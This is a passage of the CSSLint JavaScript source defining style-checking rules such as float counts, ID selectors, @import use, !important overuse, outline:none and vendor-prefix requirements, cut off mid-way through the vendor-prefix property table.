8952CSSLint.addRule({
8953
8954 // rule information
8955 id: "floats",
8956 name: "Disallow too many floats",
8957 desc: "This rule tests if the float property is used too many times",
8958 url: "https://github.com/CSSLint/csslint/wiki/Disallow-too-many-floats",
8959 browsers: "All",
8960
8961 // initialization
8962 init: function(parser, reporter) {
8963 "use strict";
8964 var rule = this;
8965 var count = 0;
8966
8967 // count how many times "float" is used
8968 parser.addListener("property", function(event) {
8969 if (event.property.text.toLowerCase() === "float" &&
8970 event.value.text.toLowerCase() !== "none") {
8971 count++;
8972 }
8973 });
8974
8975 // report the results
8976 parser.addListener("endstylesheet", function() {
8977 reporter.stat("floats", count);
8978 if (count >= 10) {
8979 reporter.rollupWarn("Too many floats (" + count + "), you're probably using them for layout. Consider using a grid system instead.", rule);
8980 }
8981 });
8982 }
8983
8984});
8985
8986/*
8987 * Rule: Avoid too many @font-face declarations in the same stylesheet.
8988 */
8989
8990CSSLint.addRule({
8991
8992 // rule information
8993 id: "font-faces",
8994 name: "Don't use too many web fonts",
8995 desc: "Too many different web fonts in the same stylesheet.",
8996 url: "https://github.com/CSSLint/csslint/wiki/Don%27t-use-too-many-web-fonts",
8997 browsers: "All",
8998
8999 // initialization
9000 init: function(parser, reporter) {
9001 "use strict";
9002 var rule = this,
9003 count = 0;
9004
9005
9006 parser.addListener("startfontface", function() {
9007 count++;
9008 });
9009
9010 parser.addListener("endstylesheet", function() {
9011 if (count > 5) {
9012 reporter.rollupWarn("Too many @font-face declarations (" + count + ").", rule);
9013 }
9014 });
9015 }
9016
9017});
9018
9019/*
9020 * Rule: You shouldn't need more than 9 font-size declarations.
9021 */
9022
9023CSSLint.addRule({
9024
9025 // rule information
9026 id: "font-sizes",
9027 name: "Disallow too many font sizes",
9028 desc: "Checks the number of font-size declarations.",
9029 url: "https://github.com/CSSLint/csslint/wiki/Don%27t-use-too-many-font-size-declarations",
9030 browsers: "All",
9031
9032 // initialization
9033 init: function(parser, reporter) {
9034 "use strict";
9035 var rule = this,
9036 count = 0;
9037
9038 // check for use of "font-size"
9039 parser.addListener("property", function(event) {
9040 if (event.property.toString() === "font-size") {
9041 count++;
9042 }
9043 });
9044
9045 // report the results
9046 parser.addListener("endstylesheet", function() {
9047 reporter.stat("font-sizes", count);
9048 if (count >= 10) {
9049 reporter.rollupWarn("Too many font-size declarations (" + count + "), abstraction needed.", rule);
9050 }
9051 });
9052 }
9053
9054});
9055
9056/*
9057 * Rule: When using a vendor-prefixed gradient, make sure to use them all.
9058 */
9059
9060CSSLint.addRule({
9061
9062 // rule information
9063 id: "gradients",
9064 name: "Require all gradient definitions",
9065 desc: "When using a vendor-prefixed gradient, make sure to use them all.",
9066 url: "https://github.com/CSSLint/csslint/wiki/Require-all-gradient-definitions",
9067 browsers: "All",
9068
9069 // initialization
9070 init: function(parser, reporter) {
9071 "use strict";
9072 var rule = this,
9073 gradients;
9074
9075 parser.addListener("startrule", function() {
9076 gradients = {
9077 moz: 0,
9078 webkit: 0,
9079 oldWebkit: 0,
9080 o: 0
9081 };
9082 });
9083
9084 parser.addListener("property", function(event) {
9085
9086 if (/\-(moz|o|webkit)(?:\-(?:linear|radial))\-gradient/i.test(event.value)) {
9087 gradients[RegExp.$1] = 1;
9088 } else if (/\-webkit\-gradient/i.test(event.value)) {
9089 gradients.oldWebkit = 1;
9090 }
9091
9092 });
9093
9094 parser.addListener("endrule", function(event) {
9095 var missing = [];
9096
9097 if (!gradients.moz) {
9098 missing.push("Firefox 3.6+");
9099 }
9100
9101 if (!gradients.webkit) {
9102 missing.push("Webkit (Safari 5+, Chrome)");
9103 }
9104
9105 if (!gradients.oldWebkit) {
9106 missing.push("Old Webkit (Safari 4+, Chrome)");
9107 }
9108
9109 if (!gradients.o) {
9110 missing.push("Opera 11.1+");
9111 }
9112
9113 if (missing.length && missing.length < 4) {
9114 reporter.report("Missing vendor-prefixed CSS gradients for " + missing.join(", ") + ".", event.selectors[0].line, event.selectors[0].col, rule);
9115 }
9116
9117 });
9118
9119 }
9120
9121});
9122
9123/*
9124 * Rule: Don't use IDs for selectors.
9125 */
9126
9127CSSLint.addRule({
9128
9129 // rule information
9130 id: "ids",
9131 name: "Disallow IDs in selectors",
9132 desc: "Selectors should not contain IDs.",
9133 url: "https://github.com/CSSLint/csslint/wiki/Disallow-IDs-in-selectors",
9134 browsers: "All",
9135
9136 // initialization
9137 init: function(parser, reporter) {
9138 "use strict";
9139 var rule = this;
9140 parser.addListener("startrule", function(event) {
9141 var selectors = event.selectors,
9142 selector,
9143 part,
9144 modifier,
9145 idCount,
9146 i, j, k;
9147
9148 for (i=0; i < selectors.length; i++) {
9149 selector = selectors[i];
9150 idCount = 0;
9151
9152 for (j=0; j < selector.parts.length; j++) {
9153 part = selector.parts[j];
9154 if (part.type === parser.SELECTOR_PART_TYPE) {
9155 for (k=0; k < part.modifiers.length; k++) {
9156 modifier = part.modifiers[k];
9157 if (modifier.type === "id") {
9158 idCount++;
9159 }
9160 }
9161 }
9162 }
9163
9164 if (idCount === 1) {
9165 reporter.report("Don't use IDs in selectors.", selector.line, selector.col, rule);
9166 } else if (idCount > 1) {
9167 reporter.report(idCount + " IDs in the selector, really?", selector.line, selector.col, rule);
9168 }
9169 }
9170
9171 });
9172 }
9173
9174});
9175
9176/*
9177 * Rule: IE6-9 supports up to 31 stylesheet import.
9178 * Reference:
9179 * http://blogs.msdn.com/b/ieinternals/archive/2011/05/14/internet-explorer-stylesheet-rule-selector-import-sheet-limit-maximum.aspx
9180 */
9181
9182CSSLint.addRule({
9183
9184 // rule information
9185 id: "import-ie-limit",
9186 name: "@import limit on IE6-IE9",
9187 desc: "IE6-9 supports up to 31 @import per stylesheet",
9188 browsers: "IE6, IE7, IE8, IE9",
9189
9190 // initialization
9191 init: function(parser, reporter) {
9192 "use strict";
9193 var rule = this,
9194 MAX_IMPORT_COUNT = 31,
9195 count = 0;
9196
9197 function startPage() {
9198 count = 0;
9199 }
9200
9201 parser.addListener("startpage", startPage);
9202
9203 parser.addListener("import", function() {
9204 count++;
9205 });
9206
9207 parser.addListener("endstylesheet", function() {
9208 if (count > MAX_IMPORT_COUNT) {
9209 reporter.rollupError(
9210 "Too many @import rules (" + count + "). IE6-9 supports up to 31 import per stylesheet.",
9211 rule
9212 );
9213 }
9214 });
9215 }
9216
9217});
9218
9219/*
9220 * Rule: Don't use @import, use <link> instead.
9221 */
9222
9223CSSLint.addRule({
9224
9225 // rule information
9226 id: "import",
9227 name: "Disallow @import",
9228 desc: "Don't use @import, use <link> instead.",
9229 url: "https://github.com/CSSLint/csslint/wiki/Disallow-%40import",
9230 browsers: "All",
9231
9232 // initialization
9233 init: function(parser, reporter) {
9234 "use strict";
9235 var rule = this;
9236
9237 parser.addListener("import", function(event) {
9238 reporter.report("@import prevents parallel downloads, use <link> instead.", event.line, event.col, rule);
9239 });
9240
9241 }
9242
9243});
9244
9245/*
9246 * Rule: Make sure !important is not overused, this could lead to specificity
9247 * war. Display a warning on !important declarations, an error if it's
9248 * used more at least 10 times.
9249 */
9250
9251CSSLint.addRule({
9252
9253 // rule information
9254 id: "important",
9255 name: "Disallow !important",
9256 desc: "Be careful when using !important declaration",
9257 url: "https://github.com/CSSLint/csslint/wiki/Disallow-%21important",
9258 browsers: "All",
9259
9260 // initialization
9261 init: function(parser, reporter) {
9262 "use strict";
9263 var rule = this,
9264 count = 0;
9265
9266 // warn that important is used and increment the declaration counter
9267 parser.addListener("property", function(event) {
9268 if (event.important === true) {
9269 count++;
9270 reporter.report("Use of !important", event.line, event.col, rule);
9271 }
9272 });
9273
9274 // if there are more than 10, show an error
9275 parser.addListener("endstylesheet", function() {
9276 reporter.stat("important", count);
9277 if (count >= 10) {
9278 reporter.rollupWarn("Too many !important declarations (" + count + "), try to use less than 10 to avoid specificity issues.", rule);
9279 }
9280 });
9281 }
9282
9283});
9284
9285/*
9286 * Rule: Properties should be known (listed in CSS3 specification) or
9287 * be a vendor-prefixed property.
9288 */
9289
9290CSSLint.addRule({
9291
9292 // rule information
9293 id: "known-properties",
9294 name: "Require use of known properties",
9295 desc: "Properties should be known (listed in CSS3 specification) or be a vendor-prefixed property.",
9296 url: "https://github.com/CSSLint/csslint/wiki/Require-use-of-known-properties",
9297 browsers: "All",
9298
9299 // initialization
9300 init: function(parser, reporter) {
9301 "use strict";
9302 var rule = this;
9303
9304 parser.addListener("property", function(event) {
9305
9306 // the check is handled entirely by the parser-lib (https://github.com/nzakas/parser-lib)
9307 if (event.invalid) {
9308 reporter.report(event.invalid.message, event.line, event.col, rule);
9309 }
9310
9311 });
9312 }
9313
9314});
9315
9316/*
9317 * Rule: All properties should be in alphabetical order.
9318 */
9319
9320CSSLint.addRule({
9321
9322 // rule information
9323 id: "order-alphabetical",
9324 name: "Alphabetical order",
9325 desc: "Assure properties are in alphabetical order",
9326 browsers: "All",
9327
9328 // initialization
9329 init: function(parser, reporter) {
9330 "use strict";
9331 var rule = this,
9332 properties;
9333
9334 var startRule = function () {
9335 properties = [];
9336 };
9337
9338 var endRule = function(event) {
9339 var currentProperties = properties.join(","),
9340 expectedProperties = properties.sort().join(",");
9341
9342 if (currentProperties !== expectedProperties) {
9343 reporter.report("Rule doesn't have all its properties in alphabetical order.", event.line, event.col, rule);
9344 }
9345 };
9346
9347 parser.addListener("startrule", startRule);
9348 parser.addListener("startfontface", startRule);
9349 parser.addListener("startpage", startRule);
9350 parser.addListener("startpagemargin", startRule);
9351 parser.addListener("startkeyframerule", startRule);
9352 parser.addListener("startviewport", startRule);
9353
9354 parser.addListener("property", function(event) {
9355 var name = event.property.text,
9356 lowerCasePrefixLessName = name.toLowerCase().replace(/^-.*?-/, "");
9357
9358 properties.push(lowerCasePrefixLessName);
9359 });
9360
9361 parser.addListener("endrule", endRule);
9362 parser.addListener("endfontface", endRule);
9363 parser.addListener("endpage", endRule);
9364 parser.addListener("endpagemargin", endRule);
9365 parser.addListener("endkeyframerule", endRule);
9366 parser.addListener("endviewport", endRule);
9367 }
9368
9369});
9370
9371/*
9372 * Rule: outline: none or outline: 0 should only be used in a :focus rule
9373 * and only if there are other properties in the same rule.
9374 */
9375
9376CSSLint.addRule({
9377
9378 // rule information
9379 id: "outline-none",
9380 name: "Disallow outline: none",
9381 desc: "Use of outline: none or outline: 0 should be limited to :focus rules.",
9382 url: "https://github.com/CSSLint/csslint/wiki/Disallow-outline%3Anone",
9383 browsers: "All",
9384 tags: ["Accessibility"],
9385
9386 // initialization
9387 init: function(parser, reporter) {
9388 "use strict";
9389 var rule = this,
9390 lastRule;
9391
9392 function startRule(event) {
9393 if (event.selectors) {
9394 lastRule = {
9395 line: event.line,
9396 col: event.col,
9397 selectors: event.selectors,
9398 propCount: 0,
9399 outline: false
9400 };
9401 } else {
9402 lastRule = null;
9403 }
9404 }
9405
9406 function endRule() {
9407 if (lastRule) {
9408 if (lastRule.outline) {
9409 if (lastRule.selectors.toString().toLowerCase().indexOf(":focus") === -1) {
9410 reporter.report("Outlines should only be modified using :focus.", lastRule.line, lastRule.col, rule);
9411 } else if (lastRule.propCount === 1) {
9412 reporter.report("Outlines shouldn't be hidden unless other visual changes are made.", lastRule.line, lastRule.col, rule);
9413 }
9414 }
9415 }
9416 }
9417
9418 parser.addListener("startrule", startRule);
9419 parser.addListener("startfontface", startRule);
9420 parser.addListener("startpage", startRule);
9421 parser.addListener("startpagemargin", startRule);
9422 parser.addListener("startkeyframerule", startRule);
9423 parser.addListener("startviewport", startRule);
9424
9425 parser.addListener("property", function(event) {
9426 var name = event.property.text.toLowerCase(),
9427 value = event.value;
9428
9429 if (lastRule) {
9430 lastRule.propCount++;
9431 if (name === "outline" && (value.toString() === "none" || value.toString() === "0")) {
9432 lastRule.outline = true;
9433 }
9434 }
9435
9436 });
9437
9438 parser.addListener("endrule", endRule);
9439 parser.addListener("endfontface", endRule);
9440 parser.addListener("endpage", endRule);
9441 parser.addListener("endpagemargin", endRule);
9442 parser.addListener("endkeyframerule", endRule);
9443 parser.addListener("endviewport", endRule);
9444
9445 }
9446
9447});
9448
9449/*
9450 * Rule: Don't use classes or IDs with elements (a.foo or a#foo).
9451 */
9452
9453CSSLint.addRule({
9454
9455 // rule information
9456 id: "overqualified-elements",
9457 name: "Disallow overqualified elements",
9458 desc: "Don't use classes or IDs with elements (a.foo or a#foo).",
9459 url: "https://github.com/CSSLint/csslint/wiki/Disallow-overqualified-elements",
9460 browsers: "All",
9461
9462 // initialization
9463 init: function(parser, reporter) {
9464 "use strict";
9465 var rule = this,
9466 classes = {};
9467
9468 parser.addListener("startrule", function(event) {
9469 var selectors = event.selectors,
9470 selector,
9471 part,
9472 modifier,
9473 i, j, k;
9474
9475 for (i=0; i < selectors.length; i++) {
9476 selector = selectors[i];
9477
9478 for (j=0; j < selector.parts.length; j++) {
9479 part = selector.parts[j];
9480 if (part.type === parser.SELECTOR_PART_TYPE) {
9481 for (k=0; k < part.modifiers.length; k++) {
9482 modifier = part.modifiers[k];
9483 if (part.elementName && modifier.type === "id") {
9484 reporter.report("Element (" + part + ") is overqualified, just use " + modifier + " without element name.", part.line, part.col, rule);
9485 } else if (modifier.type === "class") {
9486
9487 if (!classes[modifier]) {
9488 classes[modifier] = [];
9489 }
9490 classes[modifier].push({
9491 modifier: modifier,
9492 part: part
9493 });
9494 }
9495 }
9496 }
9497 }
9498 }
9499 });
9500
9501 parser.addListener("endstylesheet", function() {
9502
9503 var prop;
9504 for (prop in classes) {
9505 if (classes.hasOwnProperty(prop)) {
9506
9507 // one use means that this is overqualified
9508 if (classes[prop].length === 1 && classes[prop][0].part.elementName) {
9509 reporter.report("Element (" + classes[prop][0].part + ") is overqualified, just use " + classes[prop][0].modifier + " without element name.", classes[prop][0].part.line, classes[prop][0].part.col, rule);
9510 }
9511 }
9512 }
9513 });
9514 }
9515
9516});
9517
9518/*
9519 * Rule: Headings (h1-h6) should not be qualified (namespaced).
9520 */
9521
9522CSSLint.addRule({
9523
9524 // rule information
9525 id: "qualified-headings",
9526 name: "Disallow qualified headings",
9527 desc: "Headings should not be qualified (namespaced).",
9528 url: "https://github.com/CSSLint/csslint/wiki/Disallow-qualified-headings",
9529 browsers: "All",
9530
9531 // initialization
9532 init: function(parser, reporter) {
9533 "use strict";
9534 var rule = this;
9535
9536 parser.addListener("startrule", function(event) {
9537 var selectors = event.selectors,
9538 selector,
9539 part,
9540 i, j;
9541
9542 for (i=0; i < selectors.length; i++) {
9543 selector = selectors[i];
9544
9545 for (j=0; j < selector.parts.length; j++) {
9546 part = selector.parts[j];
9547 if (part.type === parser.SELECTOR_PART_TYPE) {
9548 if (part.elementName && /h[1-6]/.test(part.elementName.toString()) && j > 0) {
9549 reporter.report("Heading (" + part.elementName + ") should not be qualified.", part.line, part.col, rule);
9550 }
9551 }
9552 }
9553 }
9554 });
9555 }
9556
9557});
9558
9559/*
9560 * Rule: Selectors that look like regular expressions are slow and should be avoided.
9561 */
9562
9563CSSLint.addRule({
9564
9565 // rule information
9566 id: "regex-selectors",
9567 name: "Disallow selectors that look like regexs",
9568 desc: "Selectors that look like regular expressions are slow and should be avoided.",
9569 url: "https://github.com/CSSLint/csslint/wiki/Disallow-selectors-that-look-like-regular-expressions",
9570 browsers: "All",
9571
9572 // initialization
9573 init: function(parser, reporter) {
9574 "use strict";
9575 var rule = this;
9576
9577 parser.addListener("startrule", function(event) {
9578 var selectors = event.selectors,
9579 selector,
9580 part,
9581 modifier,
9582 i, j, k;
9583
9584 for (i=0; i < selectors.length; i++) {
9585 selector = selectors[i];
9586 for (j=0; j < selector.parts.length; j++) {
9587 part = selector.parts[j];
9588 if (part.type === parser.SELECTOR_PART_TYPE) {
9589 for (k=0; k < part.modifiers.length; k++) {
9590 modifier = part.modifiers[k];
9591 if (modifier.type === "attribute") {
9592 if (/([~\|\^\$\*]=)/.test(modifier)) {
9593 reporter.report("Attribute selectors with " + RegExp.$1 + " are slow!", modifier.line, modifier.col, rule);
9594 }
9595 }
9596
9597 }
9598 }
9599 }
9600 }
9601 });
9602 }
9603
9604});
9605
9606/*
9607 * Rule: Total number of rules should not exceed x.
9608 */
9609
9610CSSLint.addRule({
9611
9612 // rule information
9613 id: "rules-count",
9614 name: "Rules Count",
9615 desc: "Track how many rules there are.",
9616 browsers: "All",
9617
9618 // initialization
9619 init: function(parser, reporter) {
9620 "use strict";
9621 var count = 0;
9622
9623 // count each rule
9624 parser.addListener("startrule", function() {
9625 count++;
9626 });
9627
9628 parser.addListener("endstylesheet", function() {
9629 reporter.stat("rule-count", count);
9630 });
9631 }
9632
9633});
9634
9635/*
9636 * Rule: Warn people with approaching the IE 4095 limit
9637 */
9638
9639CSSLint.addRule({
9640
9641 // rule information
9642 id: "selector-max-approaching",
9643 name: "Warn when approaching the 4095 selector limit for IE",
9644 desc: "Will warn when selector count is >= 3800 selectors.",
9645 browsers: "IE",
9646
9647 // initialization
9648 init: function(parser, reporter) {
9649 "use strict";
9650 var rule = this, count = 0;
9651
9652 parser.addListener("startrule", function(event) {
9653 count += event.selectors.length;
9654 });
9655
9656 parser.addListener("endstylesheet", function() {
9657 if (count >= 3800) {
9658 reporter.report("You have " + count + " selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.", 0, 0, rule);
9659 }
9660 });
9661 }
9662
9663});
9664
9665/*
9666 * Rule: Warn people past the IE 4095 limit
9667 */
9668
9669CSSLint.addRule({
9670
9671 // rule information
9672 id: "selector-max",
9673 name: "Error when past the 4095 selector limit for IE",
9674 desc: "Will error when selector count is > 4095.",
9675 browsers: "IE",
9676
9677 // initialization
9678 init: function(parser, reporter) {
9679 "use strict";
9680 var rule = this, count = 0;
9681
9682 parser.addListener("startrule", function(event) {
9683 count += event.selectors.length;
9684 });
9685
9686 parser.addListener("endstylesheet", function() {
9687 if (count > 4095) {
9688 reporter.report("You have " + count + " selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.", 0, 0, rule);
9689 }
9690 });
9691 }
9692
9693});
9694
9695/*
9696 * Rule: Avoid new-line characters in selectors.
9697 */
9698
9699CSSLint.addRule({
9700
9701 // rule information
9702 id: "selector-newline",
9703 name: "Disallow new-line characters in selectors",
9704 desc: "New-line characters in selectors are usually a forgotten comma and not a descendant combinator.",
9705 browsers: "All",
9706
9707 // initialization
9708 init: function(parser, reporter) {
9709 "use strict";
9710 var rule = this;
9711
9712 function startRule(event) {
9713 var i, len, selector, p, n, pLen, part, part2, type, currentLine, nextLine,
9714 selectors = event.selectors;
9715
9716 for (i = 0, len = selectors.length; i < len; i++) {
9717 selector = selectors[i];
9718 for (p = 0, pLen = selector.parts.length; p < pLen; p++) {
9719 for (n = p + 1; n < pLen; n++) {
9720 part = selector.parts[p];
9721 part2 = selector.parts[n];
9722 type = part.type;
9723 currentLine = part.line;
9724 nextLine = part2.line;
9725
9726 if (type === "descendant" && nextLine > currentLine) {
9727 reporter.report("newline character found in selector (forgot a comma?)", currentLine, selectors[i].parts[0].col, rule);
9728 }
9729 }
9730 }
9731
9732 }
9733 }
9734
9735 parser.addListener("startrule", startRule);
9736
9737 }
9738});
9739
9740/*
9741 * Rule: Use shorthand properties where possible.
9742 *
9743 */
9744
9745CSSLint.addRule({
9746
9747 // rule information
9748 id: "shorthand",
9749 name: "Require shorthand properties",
9750 desc: "Use shorthand properties where possible.",
9751 url: "https://github.com/CSSLint/csslint/wiki/Require-shorthand-properties",
9752 browsers: "All",
9753
9754 // initialization
9755 init: function(parser, reporter) {
9756 "use strict";
9757 var rule = this,
9758 prop, i, len,
9759 propertiesToCheck = {},
9760 properties,
9761 mapping = {
9762 "margin": [
9763 "margin-top",
9764 "margin-bottom",
9765 "margin-left",
9766 "margin-right"
9767 ],
9768 "padding": [
9769 "padding-top",
9770 "padding-bottom",
9771 "padding-left",
9772 "padding-right"
9773 ]
9774 };
9775
9776 // initialize propertiesToCheck
9777 for (prop in mapping) {
9778 if (mapping.hasOwnProperty(prop)) {
9779 for (i=0, len=mapping[prop].length; i < len; i++) {
9780 propertiesToCheck[mapping[prop][i]] = prop;
9781 }
9782 }
9783 }
9784
9785 function startRule() {
9786 properties = {};
9787 }
9788
9789 // event handler for end of rules
9790 function endRule(event) {
9791
9792 var prop, i, len, total;
9793
9794 // check which properties this rule has
9795 for (prop in mapping) {
9796 if (mapping.hasOwnProperty(prop)) {
9797 total=0;
9798
9799 for (i=0, len=mapping[prop].length; i < len; i++) {
9800 total += properties[mapping[prop][i]] ? 1 : 0;
9801 }
9802
9803 if (total === mapping[prop].length) {
9804 reporter.report("The properties " + mapping[prop].join(", ") + " can be replaced by " + prop + ".", event.line, event.col, rule);
9805 }
9806 }
9807 }
9808 }
9809
9810 parser.addListener("startrule", startRule);
9811 parser.addListener("startfontface", startRule);
9812
9813 // check for use of "font-size"
9814 parser.addListener("property", function(event) {
9815 var name = event.property.toString().toLowerCase();
9816
9817 if (propertiesToCheck[name]) {
9818 properties[name] = 1;
9819 }
9820 });
9821
9822 parser.addListener("endrule", endRule);
9823 parser.addListener("endfontface", endRule);
9824
9825 }
9826
9827});
9828
9829/*
9830 * Rule: Don't use properties with a star prefix.
9831 *
9832 */
9833
9834CSSLint.addRule({
9835
9836 // rule information
9837 id: "star-property-hack",
9838 name: "Disallow properties with a star prefix",
9839 desc: "Checks for the star property hack (targets IE6/7)",
9840 url: "https://github.com/CSSLint/csslint/wiki/Disallow-star-hack",
9841 browsers: "All",
9842
9843 // initialization
9844 init: function(parser, reporter) {
9845 "use strict";
9846 var rule = this;
9847
9848 // check if property name starts with "*"
9849 parser.addListener("property", function(event) {
9850 var property = event.property;
9851
9852 if (property.hack === "*") {
9853 reporter.report("Property with star prefix found.", event.property.line, event.property.col, rule);
9854 }
9855 });
9856 }
9857});
9858
9859/*
9860 * Rule: Don't use text-indent for image replacement if you need to support rtl.
9861 *
9862 */
9863
9864CSSLint.addRule({
9865
9866 // rule information
9867 id: "text-indent",
9868 name: "Disallow negative text-indent",
9869 desc: "Checks for text indent less than -99px",
9870 url: "https://github.com/CSSLint/csslint/wiki/Disallow-negative-text-indent",
9871 browsers: "All",
9872
9873 // initialization
9874 init: function(parser, reporter) {
9875 "use strict";
9876 var rule = this,
9877 textIndent,
9878 direction;
9879
9880
9881 function startRule() {
9882 textIndent = false;
9883 direction = "inherit";
9884 }
9885
9886 // event handler for end of rules
9887 function endRule() {
9888 if (textIndent && direction !== "ltr") {
9889 reporter.report("Negative text-indent doesn't work well with RTL. If you use text-indent for image replacement explicitly set direction for that item to ltr.", textIndent.line, textIndent.col, rule);
9890 }
9891 }
9892
9893 parser.addListener("startrule", startRule);
9894 parser.addListener("startfontface", startRule);
9895
9896 // check for use of "font-size"
9897 parser.addListener("property", function(event) {
9898 var name = event.property.toString().toLowerCase(),
9899 value = event.value;
9900
9901 if (name === "text-indent" && value.parts[0].value < -99) {
9902 textIndent = event.property;
9903 } else if (name === "direction" && value.toString() === "ltr") {
9904 direction = "ltr";
9905 }
9906 });
9907
9908 parser.addListener("endrule", endRule);
9909 parser.addListener("endfontface", endRule);
9910
9911 }
9912
9913});
9914
9915/*
9916 * Rule: Don't use properties with a underscore prefix.
9917 *
9918 */
9919
9920CSSLint.addRule({
9921
9922 // rule information
9923 id: "underscore-property-hack",
9924 name: "Disallow properties with an underscore prefix",
9925 desc: "Checks for the underscore property hack (targets IE6)",
9926 url: "https://github.com/CSSLint/csslint/wiki/Disallow-underscore-hack",
9927 browsers: "All",
9928
9929 // initialization
9930 init: function(parser, reporter) {
9931 "use strict";
9932 var rule = this;
9933
9934 // check if property name starts with "_"
9935 parser.addListener("property", function(event) {
9936 var property = event.property;
9937
9938 if (property.hack === "_") {
9939 reporter.report("Property with underscore prefix found.", event.property.line, event.property.col, rule);
9940 }
9941 });
9942 }
9943});
9944
9945/*
9946 * Rule: Headings (h1-h6) should be defined only once.
9947 */
9948
9949CSSLint.addRule({
9950
9951 // rule information
9952 id: "unique-headings",
9953 name: "Headings should only be defined once",
9954 desc: "Headings should be defined only once.",
9955 url: "https://github.com/CSSLint/csslint/wiki/Headings-should-only-be-defined-once",
9956 browsers: "All",
9957
9958 // initialization
9959 init: function(parser, reporter) {
9960 "use strict";
9961 var rule = this;
9962
9963 var headings = {
9964 h1: 0,
9965 h2: 0,
9966 h3: 0,
9967 h4: 0,
9968 h5: 0,
9969 h6: 0
9970 };
9971
9972 parser.addListener("startrule", function(event) {
9973 var selectors = event.selectors,
9974 selector,
9975 part,
9976 pseudo,
9977 i, j;
9978
9979 for (i=0; i < selectors.length; i++) {
9980 selector = selectors[i];
9981 part = selector.parts[selector.parts.length-1];
9982
9983 if (part.elementName && /(h[1-6])/i.test(part.elementName.toString())) {
9984
9985 for (j=0; j < part.modifiers.length; j++) {
9986 if (part.modifiers[j].type === "pseudo") {
9987 pseudo = true;
9988 break;
9989 }
9990 }
9991
9992 if (!pseudo) {
9993 headings[RegExp.$1]++;
9994 if (headings[RegExp.$1] > 1) {
9995 reporter.report("Heading (" + part.elementName + ") has already been defined.", part.line, part.col, rule);
9996 }
9997 }
9998 }
9999 }
10000 });
10001
10002 parser.addListener("endstylesheet", function() {
10003 var prop,
10004 messages = [];
10005
10006 for (prop in headings) {
10007 if (headings.hasOwnProperty(prop)) {
10008 if (headings[prop] > 1) {
10009 messages.push(headings[prop] + " " + prop + "s");
10010 }
10011 }
10012 }
10013
10014 if (messages.length) {
10015 reporter.rollupWarn("You have " + messages.join(", ") + " defined in this stylesheet.", rule);
10016 }
10017 });
10018 }
10019
10020});
10021
10022/*
10023 * Rule: Don't use universal selector because it's slow.
10024 */
10025
10026CSSLint.addRule({
10027
10028 // rule information
10029 id: "universal-selector",
10030 name: "Disallow universal selector",
10031 desc: "The universal selector (*) is known to be slow.",
10032 url: "https://github.com/CSSLint/csslint/wiki/Disallow-universal-selector",
10033 browsers: "All",
10034
10035 // initialization
10036 init: function(parser, reporter) {
10037 "use strict";
10038 var rule = this;
10039
10040 parser.addListener("startrule", function(event) {
10041 var selectors = event.selectors,
10042 selector,
10043 part,
10044 i;
10045
10046 for (i=0; i < selectors.length; i++) {
10047 selector = selectors[i];
10048
10049 part = selector.parts[selector.parts.length-1];
10050 if (part.elementName === "*") {
10051 reporter.report(rule.desc, part.line, part.col, rule);
10052 }
10053 }
10054 });
10055 }
10056
10057});
10058
10059/*
10060 * Rule: Don't use unqualified attribute selectors because they're just like universal selectors.
10061 */
10062
10063CSSLint.addRule({
10064
10065 // rule information
10066 id: "unqualified-attributes",
10067 name: "Disallow unqualified attribute selectors",
10068 desc: "Unqualified attribute selectors are known to be slow.",
10069 url: "https://github.com/CSSLint/csslint/wiki/Disallow-unqualified-attribute-selectors",
10070 browsers: "All",
10071
10072 // initialization
10073 init: function(parser, reporter) {
10074 "use strict";
10075
10076 var rule = this;
10077
10078 parser.addListener("startrule", function(event) {
10079
10080 var selectors = event.selectors,
10081 selectorContainsClassOrId = false,
10082 selector,
10083 part,
10084 modifier,
10085 i, k;
10086
10087 for (i=0; i < selectors.length; i++) {
10088 selector = selectors[i];
10089
10090 part = selector.parts[selector.parts.length-1];
10091 if (part.type === parser.SELECTOR_PART_TYPE) {
10092 for (k=0; k < part.modifiers.length; k++) {
10093 modifier = part.modifiers[k];
10094
10095 if (modifier.type === "class" || modifier.type === "id") {
10096 selectorContainsClassOrId = true;
10097 break;
10098 }
10099 }
10100
10101 if (!selectorContainsClassOrId) {
10102 for (k=0; k < part.modifiers.length; k++) {
10103 modifier = part.modifiers[k];
10104 if (modifier.type === "attribute" && (!part.elementName || part.elementName === "*")) {
10105 reporter.report(rule.desc, part.line, part.col, rule);
10106 }
10107 }
10108 }
10109 }
10110
10111 }
10112 });
10113 }
10114
10115});
10116
10117/*
10118 * Rule: When using a vendor-prefixed property, make sure to
10119 * include the standard one.
10120 */
10121
10122CSSLint.addRule({
10123
10124 // rule information
10125 id: "vendor-prefix",
10126 name: "Require standard property with vendor prefix",
10127 desc: "When using a vendor-prefixed property, make sure to include the standard one.",
10128 url: "https://github.com/CSSLint/csslint/wiki/Require-standard-property-with-vendor-prefix",
10129 browsers: "All",
10130
10131 // initialization
10132 init: function(parser, reporter) {
10133 "use strict";
10134 var rule = this,
10135 properties,
10136 num,
10137 propertiesToCheck = {
10138 "-webkit-border-radius": "border-radius",
10139 "-webkit-border-top-left-radius": "border-top-left-radius",
10140 "-webkit-border-top-right-radius": "border-top-right-radius",
10141 "-webkit-border-bottom-left-radius": "border-bottom-left-radius",
10142 "-webkit-border-bottom-right-radius": "border-bottom-right-radius",
10143
10144 "-o-border-radius": "border-radius",
10145 "-o-border-top-left-radius": "border-top-left-radius",
10146 "-o-border-top-right-radius": "border-top-right-radius",
10147 "-o-border-bottom-left-radius": "border-bottom-left-radius",
10148 "-o-border-bottom-right-radius": "border-bottom-right-radius",
10149
10150 "-moz-border-radius": "border-radius",
10151 "-moz-border-radius-topleft": "border-top-left-radius",
10152 "-moz-border-radius-topright": "border-top-right-radius",
10153 "-moz-border-radius-bottomleft": "border-bottom-left-radius",
10154 "-moz-border-radius-bottomright": "border-bottom-right-radius",
10155
10156 "-moz-column-count": "column-count",
10157 "-webkit-column-count": "column-count",
10158
10159 "-moz-column-gap": "column-gap",
10160 "-webkit-column-gap": "column-gap",
10161
10162 "-moz-column-rule": "column-rule",
10163 "-webkit-column-rule": "column-rule",
10164
10165 "-moz-column-rule-style": "column-rule-style",
10166 "-webkit-column-rule-style": "column-rule-style",
10167
10168 "-moz-column-rule-color": "column-rule-color",
10169 "-webkit-column-rule-color": "column-rule-color",
10170
10171 "-moz-column-rule-width": "column-rule-width",
10172 "-webkit-column-rule-width": "column-rule-width",
10173
10174 "-moz-column-width": "column-width",
10175 "-webkit-column-width": "column-width",
10176
